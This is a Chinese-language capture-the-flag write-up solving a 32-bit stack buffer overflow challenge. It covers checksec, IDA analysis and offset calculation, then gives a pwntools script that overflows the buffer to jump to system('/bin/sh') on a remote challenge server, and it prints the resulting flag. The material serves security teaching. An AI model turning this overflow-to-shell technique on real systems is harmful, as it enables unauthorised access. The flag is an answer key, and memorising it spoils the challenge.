目录
解析:
查保护:
checksec 文件名
第一个红框,告诉我们是32位的一个软件,开启了NX(栈执行保护)。
找逻辑:
打开IDA找逻辑,寻找输入口,有main先找main,没main找字符串,有main函数,直接转到main函数,反编译进去。
继续下一步在往里进一步,进入红框函数,有一个位置读取,读取出来0x100个字节,从buf里面,那么看看最后还剩下多大,距离到顶还有0x88,完全可以溢出,之后还要覆盖掉返回地址,额外加上四个字节的大小。
现在已知,既然有NX不可以在栈内执行,那么溢出去跳转,现在已知,要溢出0x88+0x04的字节,现在要找一个地方可以跳转,通过字符串查找,找到了一个/bin/sh。
跳转进去,看地址在哪个位置,是在数据段,之后也没有交叉引用,那么只能用其他的去调用了,发现有个system的函数,估计可以利用一下。
运行一下,看看输出什么。
会输出hello world,那么咱们在helloword往后看,看见一个地方用了system,可以用 。
这个位置相对应的地址是 .text:0804849E,所以直接把这个地址写入到返回地址,之后直接调用/bin/sh。
写pwntools脚本:
大小基本算出来了,是0x88+4,之后加上call的地址加上shell的地址吗,所以payload是,
payload = b'a' * 0x88 + b'a' * 4 + p32(0x0804849E) + p32(0x0804A024)
之后整体写一下。
from pwn import *
p = remote('111.200.241.244',54610)
p.recvuntil('Input:\n')
pl = b'a'*0x88 + b'a'*4 +p32(0x0804849E) + p32(0x0804A024)
p.sendline(pl)
p.interactive()
运行结果就是
答案就是:cyberpeace{46c13645cb700d3d46ce4d29260c9e1b}